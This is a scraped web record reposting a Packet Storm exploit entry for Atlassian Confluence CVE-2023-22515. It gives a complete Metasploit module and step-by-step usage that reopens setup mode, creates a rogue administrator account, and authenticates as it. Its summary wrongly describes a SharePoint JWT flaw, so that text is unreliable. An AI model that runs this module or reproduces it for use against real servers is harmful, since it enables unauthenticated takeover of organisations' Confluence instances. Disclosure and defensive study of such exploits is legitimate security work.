{“lastseen”:”2025-11-26T18:14:35″,”description”:”Metasploit module proof of concept exploit that demonstrates an authentication bypass vulnerability Confluence version 8.x…”,”published”:”2025-11-26T00:00:00″,”modified”:”2025-11-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Confluence 8.x Privilege Escalation”,”source”:””,”references”:””,”id”:”PACKETSTORM:212105″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2023-22515″,”CVE-2023-29357″],”sourceData”:”=============================================================================================================================================\\n | # Title : Confluence 8.x Privilege Escalation |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.atlassian.com\/software\/confluence |\\n =============================================================================================================================================\\n \\n POC : \\n \\n 1. Summary :\\n a critical authentication bypass vulnerability in Microsoft SharePoint known as CVE\u20112023\u201129357. (https:\/\/packetstorm.news\/files\/id\/207960\/)\\n The flaw allows an attacker to craft an unsigned JWT token with \\”alg\\”: \\”none\\” and impersonate any SharePoint user, \\n including Site Administrators, without possessing valid credentials.\\n The vulnerability is dangerous because it exposes internal SharePoint APIs and may enable privilege escalation or full system compromise.\\n \\n ===============\\n # Save \\u0026 Usage \\n ===============\\n \\n 1. Save module as:\\n modules\/auxiliary\/admin\/http\/confluence_cve_2023_22515.rb\\n \\n 2. Reload Metasploit:\\n msfconsole\\n reload_all\\n \\n 3. Use module:\\n use auxiliary\/admin\/http\/confluence_cve_2023_22515\\n \\n 4. Set options:\\n set RHOSTS https:\/\/target.com\\n set TARGETURI \/\\n set USERNAME pleasepatch\\n set PASSWORD Password2\\n \\n 5. Run:\\n run\\n ————————-\\n auxiliary :\\n ————————-\\n ##\\n # This file is part of the Metasploit Framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Exploit::Remote::HttpClient\\n \\n def initialize(info = {})\\n super(update_info(info,\\n ‘Name’ =\\u003e ‘Atlassian Confluence Unauthenticated Privilege Escalation (CVE\u20112023\u201122515)’,\\n ‘Description’ =\\u003e %q{\\n This module exploits CVE-2023-22515, an authentication bypass and setup\\n reopening vulnerability in Atlassian Confluence Data Center and Server.\\n \\n An attacker can force Confluence into setup mode, then create a NEW\\n administrator account and authenticate with full admin privileges.\\n \\n This module replicates the exact behavior of the PoC Python script:\\n 1- trigger vulnerability via \/server-info.action?setupComplete=false\\n 2- create admin user\\n 3- authenticate via REST API\\n },\\n ‘Author’ =\\u003e [\\n ‘Chocapikk – PoC’, \\n ‘indoushka – Full Metasploit conversion’\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2023-22515’],\\n [‘URL’, ‘https:\/\/github.com\/Chocapikk\/CVE-2023-22515’]\\n ],\\n ‘Platform’ =\\u003e ‘linux’,\\n ‘Arch’ =\\u003e ARCH_ALL,\\n ‘Targets’ =\\u003e [[‘Automatic’, {}]],\\n ‘DisclosureDate’ =\\u003e ‘2023-10-04’,\\n ‘DefaultTarget’ =\\u003e 0\\n ))\\n \\n register_options(\\n [\\n OptString.new(‘TARGETURI’, [true, ‘Base path’, ‘\/’]),\\n OptString.new(‘USERNAME’, [true, ‘Admin username to create’, ‘pleasepatch’]),\\n OptString.new(‘PASSWORD’, [true, ‘Admin password to create’, ‘Password2’])\\n ]\\n )\\n end\\n \\n #\\n # Check Vuln\\n #\\n def check\\n v = trigger_setup\\n return Exploit::CheckCode::Vulnerable if v\\n Exploit::CheckCode::Safe\\n end\\n \\n #\\n # Exploit\\n #\\n def exploit\\n print_status(\\”Triggering setup mode bypass on target…\\”)\\n unless trigger_setup\\n fail_with(Failure::NotVulnerable, ‘Could not reopen setup mode.’)\\n end\\n \\n print_good(\\”Setup mode reopened successfully \u2714\\”)\\n \\n print_status(\\”Creating new administrator account…\\”)\\n unless create_admin\\n fail_with(Failure::UnexpectedReply, ‘Failed to create admin user’)\\n end\\n \\n print_good(\\”Admin account created successfully \u2714\\”)\\n \\n print_status(\\”Authenticating to REST API as #{datastore[‘USERNAME’]} …\\”)\\n \\n if authenticate_user\\n print_good(\\”Successfully logged in as #{datastore[‘USERNAME’]}! \u2714 FULL ADMIN PWNED \u2714\\”)\\n else\\n fail_with(Failure::NoAccess, ‘Authentication failed after account creation’)\\n end\\n end\\n \\n #\\n # Step 1 \u2014 Trigger vulnerability\\n #\\n def trigger_setup\\n send_req(\\n \\”GET\\”,\\n normalize_uri(target_uri.path, \\”server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false\\”)\\n )\\u0026.code == 200\\n end\\n \\n #\\n # Step 2 \u2014 Create Admin\\n #\\n def create_admin\\n data = {\\n \\”username\\” =\\u003e datastore[‘USERNAME’],\\n \\”fullName\\” =\\u003e datastore[‘USERNAME’],\\n \\”email\\” =\\u003e \\”#{datastore[‘USERNAME’]}@localhost\\”,\\n \\”password\\” =\\u003e datastore[‘PASSWORD’],\\n \\”confirm\\” =\\u003e datastore[‘PASSWORD’],\\n \\”setup-next-button\\” =\\u003e \\”Next\\”\\n }\\n \\n res = send_req(\\”POST\\”, normalize_uri(target_uri.path, \\”setup\\”, \\”setupadministrator.action\\”), data)\\n \\n return false unless res\\n \\n if res.body.include?(\\”Setup Successful\\”) ||\\n res.body.include?(\\”A user with this username already exists\\”)\\n return true\\n end\\n \\n false\\n end\\n \\n #\\n # Step 3 \u2014 Validate Login\\n #\\n def authenticate_user\\n auth = Rex::Proto::Http::Client::BasicAuthHeader.new(\\n datastore[‘USERNAME’],\\n datastore[‘PASSWORD’]\\n )\\n \\n res = send_req(\\n \\”GET\\”,\\n normalize_uri(target_uri.path, \\”rest\/api\/user?username=#{datastore[‘USERNAME’]}\\”),\\n nil,\\n auth\\n )\\n \\n return false unless res \\u0026\\u0026 res.code == 200\\n true\\n end\\n \\n #\\n # Unified request\\n #\\n def send_req(method, uri, data=nil, auth=nil)\\n begin\\n send_request_cgi({\\n ‘method’ =\\u003e method,\\n ‘uri’ =\\u003e uri,\\n ‘ctype’ =\\u003e ‘application\/x-www-form-urlencoded’,\\n ‘data’ =\\u003e data,\\n ‘authorization’ =\\u003e auth ? auth.to_s : nil,\\n ‘headers’ =\\u003e {\\n \\”X-Atlassian-Token\\” =\\u003e \\”no-check\\”,\\n \\”User-Agent\\” =\\u003e \\”Metasploit – CVE-2023-22515\\”\\n }\\n }, 5)\\n rescue ::Rex::Error::RequestTimeout\\n return nil\\n end\\n end\\n end\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212105″,”cvss”:{“score”:10,”severity”:”CRITICAL”,”vector”:”CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H”,”version”:”3.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H”,”baseScore”:10,”baseSeverity”:”CRITICAL”,”attackVector”:”NETWORK”,”attackComplexity”:”LOW”,”privilegesRequired”:”NONE”,”userInteraction”:”NONE”,”scope”:”CHANGED”,”confidentialityImpact”:”HIGH”,”integrityImpact”:”HIGH”,”availabilityImpact”:”HIGH”}},”href”:”https:\/\/packetstorm.news\/files\/id\/212105\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-26T18:14:35″,”description”:”Metasploit module proof of concept exploit that demonstrates an authentication bypass vulnerability Confluence version 8.x…”,”published”:”2025-11-26T00:00:00″,”modified”:”2025-11-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Confluence 8.x Privilege Escalation”,”source”:””,”references”:””,”id”:”PACKETSTORM:212105″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2023-22515″,”CVE-2023-29357″],”sourceData”:”=============================================================================================================================================\\n | # Title : Confluence 8.x…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-27750","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n